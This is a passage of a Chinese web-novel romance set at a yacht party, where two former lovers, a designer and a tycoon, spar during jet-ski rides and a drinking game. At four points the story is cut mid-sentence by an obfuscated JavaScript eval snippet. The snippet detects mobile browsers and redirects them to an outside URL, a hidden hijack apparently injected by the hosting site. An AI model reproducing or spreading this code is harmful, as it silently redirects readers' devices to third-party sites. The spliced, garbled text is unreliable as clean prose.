李曜开出的条件非常优厚,冉步月需要再考虑一下,李曜对此表示理解,叫他不要有压力。 午饭吃得宾主尽欢,冉步月正打算告辞,李曜笑着问:“冉老师下午有空吗,想不想去海边转转?” 冉步月礼貌笑笑:“多谢曜总邀请,我下午打算……” “我前阵子找弗拉维奥先生设计了一艘游艇,泊在莫士湾,离这儿不远。你或许有兴趣看看?”李曜不紧不慢地说。 冉步月眼睛睁大了些。 这位老爷子是个很有名的意大利工业设计师,半隐退很久,没想到李曜能请到他做私人设计。 “当然,如果冉老师下午有事就算了,下次再来看也可以的。”李曜很通情达理。 冉步月很坦诚:“和弗拉维奥先生的作品相比,其他的事情都不算重要。” 李曜爽朗大笑,说我就知道你会感兴趣。 驱车来到莫士湾,阳光灿烂,碧波荡漾,李曜戴上墨镜叹了句:“今天难得是个好天气。” 冉步月嗯了声:“太阳很好。” 正值初春回南天,成日阴冷潮湿,今天却放晴了。 在阳光的照耀下,冉步月看到了大师亲手设计的游艇,着实漂亮得令人移不开眼。 得到李曜的允许后,冉步月在游艇里左看看右瞧瞧,逛得非常入迷。 等冉步月回过神来的时候,游艇已经启航,飞驰在开阔无边的海面上,海风清凉扑面。 李曜问:“怎么样,来这一趟值吗?” 冉步月摸着船体,还沉迷在大师的作品中:“特别值。” 李曜笑了:“那就好,你喜欢就好。” ? 冉步月突然意识到什么,看向李曜。 船舱里只有他们两个人。李曜站在摆满酒的吧台边,弯着眼睛看向他,问:“想喝点什么?我给你调。” 这才发现,李曜不知道什么时候换了一身清爽的海岛衬衣,只扣了两粒纽扣,超绝不经意地露出胸肌线条。 老实说,算是挺有料的。 ……冉步月有点头大。 但愿是自己的错觉,希望他只是一个自恋的直男。 “Cocktail or mocktail?” 李曜悠悠地追问。 “哎呀,怎么敢劳烦曜总亲自调酒,我喝水就行啦。”冉步月摆摆手,端着玻璃杯钻出船舱,“我出去吹吹风。” 李曜跟了出来,和他并排站在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122614|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 栏杆边看海。 游艇慢慢停在海面,悠闲地漂荡。 “阿冉,能问个问题吗?” 这个称呼让冉步月眉心一跳:“哈哈,可以啊。” “你为什么决定回国开工作室?” 冉步月指着不远处的海面:“哇!那边好像有些人在玩帆板,挺酷的。” 李曜保持微笑。 冉步月回头一笑:“抱歉,刚刚风太大了没听清,曜总您再问一遍?” “……没事。” 海风撩起冉步月的长发,李曜安静地注视几秒,颇有风度地问,“你冷不冷,要不要披件外套?” 他手里不知什么时候多了件大衣,正要往冉步月肩头披。 面前突然划过响亮的破浪声,一个男人驾着帆板疾驰而来,他屈膝微蹲,单臂轻松地扣着帆杆,另一条手臂如张开的修长鹰翼,蜻蜓点水般触碰海浪,从容优雅。 数米高的浪墙朝他迎面扑去,他后仰身体,操纵巨大的帆面切割风向,浪花飞溅,他忽而腾空跃起两米多高,像乘浪跃出的英俊海族神子,又像挥翼下凡的大天使长。 李曜停了动作,有点不相信自己的眼睛:“这是……舒总?” 冉步月浑身都僵了:“……???” 在舒枕山后方不远处,另外几支帆船拼命追赶他,其中一人扯破喉咙喊:“阿——枕——你慢一点!急着投胎呢?” 是大喇叭郝乐同志。 舒枕山充耳不闻,自顾自地冲上另一座巨浪,跃起令人震撼的高度,完美利落地完成了一个360度跳浪空翻。 “哇!!!” 冉步月看到附近还有一艘豪华游艇,甲板上站着不少穿着比基尼的美女,个顶个的漂亮,放眼望去一溜白皙的大长腿。她们爆发出掌声、尖叫与口哨声,高喊舒枕山的名字,喊“舒总好帅”。 李曜的视线也紧紧黏着舒枕山,问冉步月:“舒总真挺帅的,对吧?” 冉步月把视线从超模们身上移开,没什么表情地淡道:“一般。” 眨眼间,舒枕山已经从远处兜了个圈,乘风破浪地杀了回来,像个凯旋的大将军。 显然是在给美女们展现他的健美身材与飒爽英姿。 冉步月心中毫无波澜,撩起眼皮觑着舒枕山,没想到他突然看向了自己。 隔着碧蓝海涛,两人的视线远远地撞在了一起。哗啦,像两朵相撞得粉身碎骨的浪花。 冉步月微微偏过脸,轻声对李曜说:“我好像有点冷。” 李曜挑挑眉,动作绅士地把显然大一号的大衣披到冉步月肩头,体贴低语:“冷的话咱们就进去。” 冉步月弯了弯唇角,偏脸对李曜说“谢谢”,目光却始终平静地和舒枕山对视着。 9.以牙还牙 波光粼粼的暖色调中,舒枕山的目光却透着阴鸷,湿发凌乱,像头凶猛的海雕。 下一秒,他调转帆向,朝豪华游艇风驰电掣而去,又掀起一浪尖叫。 冉步月忽然觉得,刚刚和他的对视是错觉,舒总和众多美人出海寻欢,应该压根没空注意到自己。 “呀,那是不是阿冉和曜哥?” 郝乐放慢了速度,夸张地朝他们挥手,驾着帆船,像条弹幕一样从右边滚动到左边:“你们怎么也在?好巧啊——” 李曜也跟他挥手:“好巧!” 郝乐打了个转,又从左边唰地滑到右边:“你们要不要一起来玩——” 李曜看了眼奢华的大游艇,高声答:“好啊!” 冉步月:…… 哥,要去你自己去吧。 郝乐比了个OK的手势,掏出通讯器讲了几句,接着撒欢跑远了。 李曜问冉步月:“阿冉,你去吗?” 冉步月:“哈哈,我就不去了,曜总玩得开心。” “真不去?”李曜笑道,“能和舒总碰上的机会可不多。” 冉步月:“我没什么要找他聊的。” 李曜:“也是,舒总现在不缺工业设计师。” 不远处,郝乐学着着舒枕山冲上一朵浪,颤巍巍地腾空,嚎叫着摔下来,左歪右扭差点翻船,折腾半天终于是狼狈地维持好了平衡。 “太难了!”郝乐难过地抱怨。 帆板是一项对身体素质要求很高的运动,拉帆要靠臂力和背阔肌,浪尖跳跃与落地需要极强的腿部爆发力量,核心肌群更要强大到可以维持平衡与操纵帆向。 除了力量,帆板航行还需要对风力、浪况的敏锐洞察和计算,才能游刃有余地驾驭风浪。 简言之,要想玩好这项运动,不仅需要强健的体魄,还要一颗聪明的脑子。 其实郝乐已经做得挺好了,可惜和舒枕山比还是有段距离。 郝乐扒拉着帆杆,像一条出水的海狗,高声问:“阿枕——你这就不玩啦?” 舒枕山朝郝乐摆摆手,意思是你们玩。 舒枕山正在收帆上船,黑色紧身帆板服包裹着他,清晰勾勒出宽肩长腿的身型,短发桀骜不驯地翘着,像头捕猎归来的矫健黑豹,充满野蛮的生命力。 单看李曜的身材还算有料,但如果放在舒枕山面前,就属于完全没法看了。 刚上船,舒枕山就被衣着清凉的模特们围住了。递毛巾的、送水的、送衣服的,好不热闹,幻视俗套的校草打篮球小说剧情。 舒枕山怡然自得地接受着美人们的簇拥,接了毛巾,擦头发的动作很性感。他似乎朝这边瞥了一眼,又好像没有。 冉步月觉得海风好大,吹得他眼睛疼。海浪也很颠簸,让他肚子里直冒火。 不多时,郝乐派来的接应艇到了,飘飘悠悠地停在他们的游艇旁边。 李曜笑着问:“阿冉,你真的不去?” 冉步月不知为何改了主意:“我又打算去了。” 两人乘上小艇,向那座城堡般的豪华游艇驶去,站在城墙边的姑娘们朝他们抛来飞吻和花瓣,舒枕山已不见踪影。 接应艇泊至亲水平台,一位举止得体的女士迎接他们的到来:“舒总和郝总都在顶层,请随我来。” 顶层甲板充满了派对的愉快氛围,郝乐像个皇帝似的靠在沙发里,一个美女在帮他擦头发,另一个美女在喂他吃草莓。他站起来热情道:“你们来啦,快来坐。” 冉步月一眼看到舒枕山,他身边没坐模特,对面的座椅也空着。 晕船症似乎减轻了一些。 除了舒枕山和郝乐,沙发上还坐了一个陌生男人。 没记错的话,他刚才也在玩帆板,是除了舒枕山之外唯一一个完成了跳浪空翻的人。 这人单手飞快地打字,表情阴郁地盯着屏幕,衣领下隐约掩着一枚纹身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15133779|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,浑身写着生人勿近。 冉步月莫名觉得他有点眼熟。 他察觉到冉步月的目光,抬头的瞬间竟然换上了阳光温暖的笑容,那种冷漠的气场顿时冰雪消融,让人以为是自己看花了眼。 “Hi~”他和冉步月打招呼,桃花眼弯弯的。 这下认出来了,他是近几年很红的一位新生代香港歌手,年轻英俊,写歌也厉害,叫什么来着…… “冉先生。”舒枕山突然开口。 冉步月只好把视线挪到他身上:“?” 舒枕山:“又见面了,好巧。” 冉步月:“舒总。” 舒枕山视线在他和李曜中间兜了一圈,最后落到冉步月肩头大一号的外套上:“阿乐突然邀请你们来,没打扰到你们吧?” “舒总哪里的话。”冉步月自然地把大衣收紧了些,笑道,“我和曜总该谈的都谈完了。” 李曜也道:“不打扰不打扰,这是我们的荣幸。” 舒枕山深呼吸,语气平静地指责道:“冉先生真是贵人多忘事。” 忘了什么? 冉步月真心感到疑惑:“舒总请明示。” “你好像还欠我一套礼服。” 冉步月笑了:“如果我没记错,好像是要等您这边准备好账单后,我去砚川取。” 舒枕山问:“要我亲自把账单发你邮箱?这么久过去,你来问我了吗,给我发了道歉信吗?这就是你的态度?” “诶诶诶,怎么还吵起来了?”郝乐从温柔乡里蹦起来,对舒枕山的小心眼感到不可思议,“阿枕,屁大点事,你怎么记到现在?” 冉步月倒是深谙舒枕山记仇的毛病,提议道:“要不舒总,你现在报个价吧,我打三倍到您账上。” “我不缺钱。”舒枕山说,“这样,公平起见,你把你身上这件外套脱了扔海里喂鲨鱼就行。” 冉步月:“……” 李曜:? 10.灵魂飞升 事情到底是怎么变成这样的? 冉步月坐在摩托艇驾驶位,舒枕山跨坐在他身后,两人中间生硬地隔着一大段距离。 二少指着他们狂笑:“你们俩中间的地皮能卖十亿!” 郝乐拼命朝他使眼色,意思是别火上浇油了,他俩有过节! 二少心领神会,立刻火上浇油:“正好马上出海,有仇的报仇,有怨的抱怨。”完全是看热闹不嫌事大。 随后他留下一句“Enjoy”,搂着美女潇洒而去。 摩托艇接连入水,公子哥们像一群出栏的野鸭,踏浪一溜烟扑腾老远,转眼就不见踪影,只留下引擎的轰鸣。 郝乐尚且有点良心,出发前担忧地看着舒枕山和冉步月,苦口婆心地嘱咐:“你俩别乱来!” 说完,他也嘎地飞走了。 艇库平台只剩下他们两人。 在空旷的海浪声中,谁也没出声。 这是他们重逢以来的第一次单独相处。 冉步月看着自己搭在油门上的手指,指尖不受控制地小幅度颤抖。 舒枕山深深吸气,无声吐气,撑着座椅的双手关节用力到发白。 空气凝固许久,两人用自己最镇定的声音同时开口—— 冉步月:“舒总,那边有一艘空摩托艇。” 舒枕山:“冉先生,请问什么时候出发?” 又同时收声。 三秒后,舒枕山说“没听清你说什么”,又冷淡地问:“你是不是不会开。” 还没等冉步月反应过来,一双戴着露指手套的大手便从背后环了过来,行云流水地按开引擎,食指扣动油门,摩托艇刹那间轰鸣着冲了出去。 冉步月猝不及防向后仰,被迫靠进某人怀里,耳边狂风呼啸,盖过了心跳。 “神经病啊!”冉步月骂道。 身后传来一声模糊的轻笑。 经过最开始的加速度过程,两人自动分开了些,但毕竟是在行驶中,没法隔得太远。 舒枕山:“只剩五亿了。” 冉步月在呼呼风声中喊:“你说什么——?” 舒枕山:“没什么。” 少爷们在前方的海域炫技,一条条尾浪交错追逐。唯独他们的艇慢悠悠在后台吊车尾,舒枕山开得很平稳,速度不快。 冉步月挺有礼貌地问:“舒总,请问能不能快点?” 舒枕山驳回:“开快了很颠。” 自己心里有没有点数?好像不知道自己容易晕机晕船晕车似的。 冉步月礼貌地忍了一会儿,终于不耐烦地用手肘撞了撞舒枕山的胳膊:“我来开吧。” 舒枕山仿若未闻。 “舒先生。”冉步月心平气和地提醒,“好像是我抽到的你。” “……” 摩托艇慢慢降速,直到完全熄火,在海上飘飘荡荡。 “嗯,是这样。”舒枕山松开手,礼貌地询问,“需要我像她们一样搂着你的腰尖叫吗?” 冉步月懒得废话,招呼都不打一声,直接把油门拧到了底。 “!” 舒枕山差点被甩飞出去。 大少爷的摩托艇是改装过的,兰博基尼引擎,三秒内能加速到时速百公里,堪称海上超跑。 舒枕山没料到冉步月这么猛,完全没管他死活。总裁大人被迫在前面飞,身后拖着长长一条小幽灵在后面追。 摩托艇在海面上划出一道漂亮的圆弧,冉步月骑着摩托调了个180度的头,朝没人的海域狂飙。 舒枕山有一瞬间猜测,冉步月是不是要把他抛尸公海。如果真是这样,他死了也行。 冉步月毫不减速,头也不回地问:“还活着吗?” 舒枕山:“快死了。” 既要保证自己不被甩出去,又要维持和冉步月之间的社交距离,这个坐姿很费劲,舒枕山的手指几乎要把座椅后面的扶手掰断。 “抓紧了,我要玩漂移。”冉步月预告。 舒枕山有种置生死于度外的豪迈,不紧不慢地问:“抓哪里?” 冉步月好像没听到,默默提速。 “能扶着你的腰吗,冉先生?”舒枕山解释道,“不然我真的会飞走。” 冉步月还是没回答,大概是听不清。摩托艇从一朵浪花上跃起,远远腾空,失重地落下来,溅起无数朵水花,哗啦啦—— 一双有力的手臂从后面搂住了他的腰,手掌很规矩地扶着救生衣。 现在的地皮只能卖0.01亿。 真的太瘦了。舒枕山想。 摩托艇贴向水面倾斜,以刁钻的角度和夸张的速度完成了一个完美的漂移,刺激得人肾上腺素飙升,灵魂飞升。 因为速度太快,两人又贴得很近,冉步月的长发像无数条鞭子一样抽在舒枕山脸上,往左漂移的时候抽在左脸,往右漂移的时候抽在右脸。冉步月一气呵成漂了个八字型,长发便左一下右一下上一下下一下地甩到舒枕山脸、下巴、和脖子上。 舒枕山稳稳坐着,墨镜后的双眼眯了眯,面色很淡然。 在下一轮加速开始之前,舒枕山不动声色地把脸往前凑了凑。 长发扑面,舒枕山面无表情地轻轻呼吸…… 好香。 他想到以前冉步月骑他的时候,后背弓出漂亮脊椎线,长发在胸前垂落,发梢就像这样,上上下下地扫在舒枕山的胸膛和脸上,有点痒,头发的香味像迷雾一样缓缓笼罩下来。 冉步月通常坚持不了多久,很快就会体力不支,舒枕山默契接手工作,物理做功数小时。 摩托艇的速度渐渐降低,不一会儿便停在了大海中央,耳边也安静下来。 冉步月撒开双手,放松地呼了口气。 “玩爽了?”舒枕山问。 看冉步月的表情,舒枕山就知道他应该是好好撒了场欢。刚刚在乌烟瘴气的船上估计把他憋坏了。 冉步月耸耸肩:“一般。” 舒枕山:“那怎么不继续骑?” 冉步月甩了甩被震麻的双手,这次倒是诚实:“累。” 舒枕山小幅度地扬了扬唇角。真是和以前一样。 简短几个字结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15151068|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 束,两个人又陷入沉默。 四周除了海水还是海水,无边无际,这时的沉默更加沉默。 “……” 舒枕山推了下墨镜,放眼望向远处的海面,率先打破沉默:“你在和李曜谈项目?” 冉步月差点笑了:“舒总,有你这么问的吗?” “我怎么不能问?”舒枕山奇道,“你们在船上说的,几十个人都听到了,这是公开信息。” “哦。”冉步月点点头,“那你问吧,我不想说。” 其实不用问什么,舒枕山通过一些不值一提的得体途径,得知冉步月和李曜今天早上在谈事情,然后下午来了莫士湾会所,不然舒枕山根本不会出现在这里。 “李曜的公司在和竞争者打价格战,最近他的资金缺口很大,新产品面临的压力也很大。我不知道他跟你承诺了什么,但你要知道,他有可能无法兑现。” 舒枕山的语气带着点严肃,仿佛他们现在不是飘在海上,而是在会议室里。 听完这话,冉步月转头,安静地和舒枕山对视。 “……你脖子和脸怎么红了?”冉步月疑惑地问。 舒枕山摸了摸,这才后知后觉地感到有点疼,带着痒,被前男友的头发抽的。 “被晒的吧。”舒枕山随口胡扯。 “你已经够黑了,还不防晒。”冉步月奚落完,毫无停顿地转回话题:“所以请问舒总,你为什么跟我说这些?” “没有为什么。”舒枕山恢复淡然,“听到你们聊天,你又和我是同乡和…校友,所以顺嘴提一句。听不听随意。” “这样啊,舒总费心了。”冉步月说,“对刚认识几周的校友这么慷慨,不吝分享建议,冉某受宠若惊。” 这下舒枕山的表情也冷了下来,又偏偏无法反驳,因为“不认识”是他最先说的,噎得他肺疼。 冉步月继续道:“之后冉某就要在舒总的地盘上做生意了,如果有什么得罪的地方,还望舒总指点一二。” 这话说的,好像马上要作揖鞠躬了。姿态放得有多低,字句里的嘲讽意味就有多浓。 舒枕山冷声问:“还需要如果吗?” 冉步月也没想到自己这么快就得罪人了,难道是因为左脚先踏上摩托艇? “烦请舒总指点一二。” “冉总监贵人多忘事,你好像还欠我一套礼服。” 冉步月笑了:“如果我没记错,好像是要等您这边准备好账单后,我去砚川取。” 舒枕山问:“要我亲自把账单发你邮箱?这么久过去,你来问我了吗,给我发了道歉信吗?这就是冉先生的态度?” 冉步月看了他几秒,说“对不起”,然后突然从驾驶位站了起来。 “你干嘛?”舒枕山心里一紧,眼疾手快抓住他的救生服带子。 冉步月垂着眼俯视他,随意地说:“当然是跳到海里去,把浑身湿透,这样能不能算扯平了?” “这样就欠得更多了。”舒枕山皱着眉要他坐下,脸色很臭地说,“三个星期之内,我把账单发你,你记得查邮箱。” 11.秘密对峙 突然间,冉步月失去了讲话的兴致。 从重逢到现在,不论是在别人面前,还是两人独处的时候,舒枕山都在刻意避开他们的过往。说不认识他,说他们只是校友和同乡。 他好像完全不记得他们曾经在一起,曾经耳鬓厮磨,曾经在实验室里为了一个小零件吵架到天明。 冉步月给过他话头,而舒枕山没接,只是一再表示他们之间毫无瓜葛。 或许六年前,在舒枕山无预警退出机器人团队、让他们俩共同的心血付诸东流、决定放弃机器人事业回国继承家业的时候,曾经的那个舒枕山就已经彻底地消失了。 而他们的过去,就像沙漠中蒸发的细水,不会在集团掌门人的生命中留下丁点痕迹。 没准舒枕山不是在逃避,他是真的忘了。 六年时间驰骋商界,当大老板的,什么场面没见过,足够他忘掉以前那些枯燥平淡的生活。 这样的念头一上来,冉步月突然觉得很没劲。 权当他们只是派对上的点头之交。 “要回去吗?”舒枕山问。 冉步月说“可以”,双手搭上艇把。 “我来吧。”舒枕山说着,双手搭在了冉步月外侧。这样的姿势,就好像把冉步月整个抱在怀里一样。 冉步月轻轻皱眉,身体往前挪了挪,避免了所有若即若离的触碰。 谁知道他曾这样抱过多少人。 舒枕山掌控艇舵的姿势很轻松,很快就风驰电掣回到了游艇。 大多数公子哥儿们已经回来了,摩托艇在船库里停了一溜。 脱了救生衣,冉步月才发现自己浑身湿得厉害,跟从海里捞出来似的。舒枕山倒是有先见之明,穿着帆板服,湿了也看不出来。 刚回到甲板,香槟便夸张地撒了他们一身,漂亮姑娘们蜂拥而至,把冉步月和舒枕山拉入派对。 甲板上充斥着摩托艇狂飙后无处发泄的荷尔蒙,电子舞曲狂热而劲爆,震响游艇,双马尾辣妹DJ嚼着口香糖操作混音台,模特们将公子哥簇拥在舞池中间,男人们的上衣早已不知所踪,肉贴肉地舞动蹦跳,好几个姑娘的比基尼带子也被解开了,少得可怜的布料挂在身上乱晃,不如不挂。男男女女们已然疯得没有人样,像超现实作品中荒诞淫靡的狂欢节。 郝乐歪在舞池旁边的沙发里,朝他们招手:“阿枕,阿冉!” 冉步月仿佛得救,离开疯狂的人群,坐到郝乐身边,舒枕山也跟着坐到郝乐另一侧。 “他家甜品师做的布雷斯特泡芙真的很不错,你们要不要试试?”郝乐餍足地打了个嗝,面前摆了大大小小至少五个空盘子。 冉步月看看旁边的酒池肉林,再看看郝乐,憋出一句:“你是真饿了。” 郝乐左手牵起冉步月,右手牵起舒枕山,眼泪汪汪地关心道:“怎么样,你们出去二人世界飙了一圈车,现在有没有吊桥效应、冰释前嫌、化干鸽为玉脖?” “……”冉步月无语,“阿乐,我觉得你有点醉了。” 舒枕山:“他吃了五个威士忌焦糖布丁。” “狗屁,我吃了六个!”郝乐攥紧他们的手,“所以你们怎么样?” 冉步月浅笑:“舒总还记着要我赔钱。” 舒枕山:“难道你不该赔?” 冉步月:“当然该,是我有错在先,弄坏了舒总重要的衣服。” 舒枕山:“赔了我们就两清。” 两清,好一个两清。 冉步月这辈子所有的不清不楚都是和舒枕山搅在一起的,舒总倒是轻轻松松就能和他两清。 冉步月艰难地维持着最后的客气:“那麻烦舒总早点给我发账单。” 两人都语气平静,却你一句我一句呛得有来有回,郝乐头疼地自言自语:“真搞不懂,芝麻大点事,你们怎么能掰扯这么久……” 舒枕山心说,你懂个屁。 而且芝麻也不小。 三人的气氛有些沉闷,与舞池狂欢的氛围格格不入。郑二少敏锐地察觉到他们,随手一推怀里的嫩模们,叫她们把这三个人拖进来,在本少爷的派对上不蹦迪不喝酒还板着个脸是几个意思?未免太不给面子! 漂亮姑娘们像蝴蝶一样飞过来,拽住看起来最腼腆的冉步月,将他拉进万花丛中。 不知道哪个上头的公子哥喊了句:“罚酒!罚酒!”其他人也跟着嗨起来,喊着要罚冉步月酒。冉步月看了眼,李曜也在起哄之列,脸部酡紅,估计也是被人灌了酒。 咱们的大设计师Ran不是从美国回来的吗?洋人比我们玩得花多了吧,直接罚酒多没意思,玩Dentist''s chair! Dentist''s chair! Dentist''s chair! 众人高喊。 视线焦点中央,冉步月很随意地不知道看了谁一眼,接着把目光投向拿着酒瓶的模特,懒散地勾了勾手指,意思是来吧。 众人尖叫,喔喔—— 漂亮姑娘款款而来,高举起手中钻光闪耀的酒瓶示意众人,限量版Oval伏特加,瓶身镶嵌有7000颗施华洛世奇水晶,酒精浓度45%。 冉步月松弛地坐到吧台椅上,配合地让姑娘捧起他的下巴,接着仰头,张开嘴。 烈酒从细长的金属酒嘴中倒出,直接灌进冉步月嘴里。 “牙医椅”的名称便是由此而来,被拉酒嘴的人要张大嘴巴,像在做牙医检查,因此得名。 姑娘很懂效果,故意拉高瓶身,让透明的酒液撒到冉步月唇边,从白皙的下巴滴落,泼湿了一大片衣服,顺着胸口往下淌。 半干不湿的白色衬衫本来就紧贴着肌肤,这下更是湿得彻底,半透明的布料勾勒出浅浅的肌肉线条,青涩又放荡,漂亮得叫人移不开眼。 尖叫声此起彼伏,冉步月慢条斯理地推开了衬衣的扣子,白得发光的薄肌若隐若现,黑色长发湿漉漉地粘在胸口,像只刚出水的海妖,掀起一阵更疯狂的尖叫。 郝乐坐直了身体,眼睛都瞪大了:“我…丢……阿冉这么劲。” 一旁始终沉默的舒枕山突然扔了手中的银叉,铛的一声摔在地上,霍然起身。 “诶,你要干嘛啊?”郝乐咽下第八个威士忌焦糖布丁,想扯住舒枕山,没扯到。 舒枕山语气淡漠得让人毛骨悚然:“去灌他。” 郝乐唰地清醒了,大喊使不得啊使不得! 再一轮!再一轮!大家叫声不断。 姑娘用眼神征求冉步月的同意,冉步月大方地朝她笑了,主动张开嘴,艳红的舌面上闪着水光,像一枚钻石舌钉。 三秒拉酒嘴,每一秒都数得很慢。 炸裂耳膜的尖叫声和辛辣的烈酒一起灌入体内,冉步月闭上眼,居然感到久违的爽快。 无数道目光落在他身上,他不在乎有属于某人的一道。 冉步月在翻涌的眩晕中睁开眼,扫视狂热的人群,没有看到某个人影。 倒是见到李曜喊得好激动,看他的口型,大概喊的是“再来,再来”。 连着喝了至少两盎司烈酒,酒劲上来得很快,冉步月觉得自己需要缓缓,但亢奋的精神不受控制,还是在铺天盖地的声音中张开了嘴,示意姑娘再来第三轮。 姑娘刚倾斜酒瓶,就被一只手牢牢握住了瓶身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164516|163801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍一晃神,酒瓶不知怎么便到了舒枕山的手里。 冉步月仰头,猝不及防看到舒枕山隐怒的脸,忽然笑得更开心了,眼睛里盛满了波光。 舒枕山挡在冉步月面前,宽阔的身型把他遮得严严实实。 他俯身掐住冉步月的下颌,迫使他高高仰起脸,野兽般危险灼热的呼吸一下下扑在冉步月耳廓,让冉步月起了一身鸡皮疙瘩。 舒枕山单手拎远酒瓶,用只有他们俩能听到的声音,咬牙切齿地往外吐字:“冉步月,你想死是不是。” 冉步月乐得大笑,愉悦地反问:“哦,舒总,原来你知道我的名字呀?” 舒枕山哑声说:“他们真能把你灌死。” 冉步月笑容加深,轻声问:“舒总,我喝我的,这跟你有什么关系?” 舒枕山抿唇不答,捏着酒瓶的手指隐约发颤。 两人在很近的距离间对视,僵持不下。 “诶诶诶,舒大总裁突然跑上来干什么呢!”郑二少不满道。 郝乐像只大鼹鼠似的拨开层层人群冒头出来,急道:“他要灌阿冉!阿枕你悠着点,阿冉受不了的!” 以舒枕山的程度,掐着人的脖子连灌一分钟的事情他都做过,完事那人立刻就被拉去了医院,所以郝乐真怕他玩出人命。但当时那人是死有余辜,按理说,冉步月远没有和舒枕山深仇大恨到这种地步。 “噢——原来想灌我的是舒总你啊。”冉步月作出恍然大悟的表情,“你直接来不就好了,啰嗦什么?” 说完,冉步月便伸手去够舒枕山手里的酒瓶,他越够,舒枕山便把酒瓶举得越高,让他怎么也拿不到。 冉步月皱皱眉,不耐烦地勾住舒枕山的脖子,身子微微离开高脚凳,整个人几乎缠到他身上,两条长腿夹住舒枕山结实的腰侧,像条绞杀猎物的水蛇。 细白的手指攀上粗壮有力的麦色手臂,风格差异鲜明的两条手臂重叠到一起。 肌肤大面积相贴的瞬间,舒枕山突然变了脸色,触电似的退开一步。 冉步月怔愣片刻,在心底自嘲地笑了笑。 自己这是何必,不死心地试探了一大圈,换来这样一个答案。 身体下意识的排斥是骗不了人的。 郑二少酒劲上头,气势汹汹:“那是我的酒,要灌也是我灌啊,Shu你给我让开!” 他上半身还印着不知道哪个模特留下的吻痕,就那么大剌剌地亮着。 舒枕山转身,手臂若无其事地撑在冉步月身后的吧台上,已经换上了云淡风轻的表情:“你的酒,我就不能灌?” 他身上突如其来的气场让郑家少爷小声了些:“要灌也是我先灌,你说对不对?” “要不还是我先吧?”舒枕山笑着跟他打商量。 郑二少红着脖子:“凭什么?” 舒枕山贴心地放低了声音:“或许二少不太记得,上次禅城的那块地,郑家是怎么拿到的了。” 众人只看到舒枕山淡定自若地说了句什么,郑二少神色就变得很不自然。 “如果我没记错的话,二少当时承诺的回报,现在我还没见到影。” 郑二少倏然心惊,他猛然意识到,舒枕山说的“先灌”,好像是先灌自己,而非冉步月。 甚至今天舒枕山赏脸来他的首航派对,恐怕也是早有此意。 郑二少身后冒冷汗,试图蒙混过关,陪笑道:“舒总请,您先灌吧,灌多少都行。我还有三瓶,镶了7000颗真钻的。” 舒枕山点点头,和善地说:“好啊,那都拿出来开了吧,大家一起喝。玩嘛,图的就是开心,你说对不对?” 12.激烈反应 郑二少忍痛割爱开了三瓶珍藏的好酒,还得表现得乐意至极。最后整个甲板的人都醉得不成样子,空气中弥漫着热带水果熟透后的糜烂香气,玩得很乱。 舒枕山坐在清静的角落,能将整个甲板尽收眼底。 郝乐瘫在他旁边,餐桌上堆了至少八个盘子,他满足地摸着肚子:“要不是又馋郑家私家主厨的饭了,我才不想来。光看着他们玩我都觉得累,那个跳钢管舞的妹子转得我头晕。” “嗯。”舒枕山面色淡然地低头敲字,时不时抬眼看一下人群,也不知道他看的是谁。 郝乐脑袋凑过来看舒枕山在忙什么,眼睛一亮,压低声音惊喜道:“董事会同意造机器人啦?” 舒枕山又嗯了一声。 “那你现在还加什么班啊,还不快庆祝庆祝!去开瓶香槟!”郝乐推了他一把。 舒枕山:“在组建团队之前,还有很多事要做。” “……”郝乐幽幽叹了口气:“哎,阿枕,休息一天,机器人又不会孵不出来了。何必把自己搞得跟高三学生一样累?你又不用高考。” 舒枕山:“我要的。” 郝乐仿佛一个表情包:“哈?什么时候考?” 这么离谱的问题,舒枕山居然也答了:“三周之内。” 好吧,郝乐喃喃自语,我时常跟不上你的思路。 这些年承砚集团一直在稳步扩展在科技领域的布局,投资额都不算大,行事低调。但舒总眼光毒辣,几乎没有失败的项目。从几年前,郝乐就能看出舒枕山的野心,或者说,是他一直不愿明示的理想。 